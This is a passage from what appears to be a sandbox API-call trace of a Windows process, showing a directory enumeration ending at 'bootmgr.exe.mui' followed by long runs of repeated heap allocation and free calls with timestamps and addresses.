dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.355] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.355] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.355] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.355] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450228 | out: hHeap=0x810000) returned 1 [0124.355] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.355] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.355] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.355] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.355] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.355] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.355] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.355] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.355] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.355] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.355] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.355] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.355] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.355] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.355] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.355] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.355] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.355] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.356] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.356] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.356] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.356] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.356] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.356] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.356] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.356] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.356] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.356] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.356] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.356] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.356] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.356] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.356] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.356] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.356] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.356] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.356] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.356] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.356] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.356] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.356] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.356] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.356] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.356] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.356] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.356] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.356] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.356] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.356] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.356] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.356] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.356] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.356] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.356] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.356] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.356] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.356] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.356] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.356] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.356] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.356] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.356] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.356] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.357] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.357] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.357] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.357] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.357] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.357] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.357] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.357] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.357] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.357] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.357] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.357] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.357] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.357] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.357] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.357] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.357] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.357] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.357] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.357] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.357] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.357] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.357] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.357] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.357] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.357] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.357] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.357] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.357] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.357] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.357] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.357] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.357] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.357] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.357] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.357] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.357] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.357] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.357] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.357] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.357] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.358] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.358] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.358] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.358] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.358] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.358] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.358] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.358] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.358] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.358] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.358] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.358] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.358] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.358] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.358] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.358] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.358] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.358] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.358] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.358] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.358] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.358] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.358] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.358] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.358] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.358] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.358] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.358] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.358] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.358] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.358] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.358] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.358] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.358] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.358] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.358] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.358] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.358] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.358] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.358] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.358] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.358] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.358] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.358] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.359] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.359] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.359] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.359] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.359] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.359] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.359] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.359] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.359] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.359] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.359] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.359] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.359] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.359] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.359] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.359] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.359] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.359] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.359] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.359] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.359] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.359] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.359] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.359] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.359] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.359] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.359] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.359] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.359] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.359] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.359] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.359] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.359] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.359] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.359] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.359] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.359] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.359] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.359] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.359] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.359] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.359] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.360] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.360] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.360] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.360] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.360] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.360] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.360] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.360] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.360] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.360] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.360] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.360] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.360] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.360] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.360] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.360] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.360] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.360] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.360] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.360] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.360] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.360] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.360] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.360] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.360] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.360] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.360] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.360] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.360] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.360] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.360] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.360] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.360] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.360] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.360] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.360] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.360] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.360] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.360] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.360] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.360] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.360] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.360] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.360] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.361] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.361] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.361] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.361] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.361] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.361] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397b0 [0124.361] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, 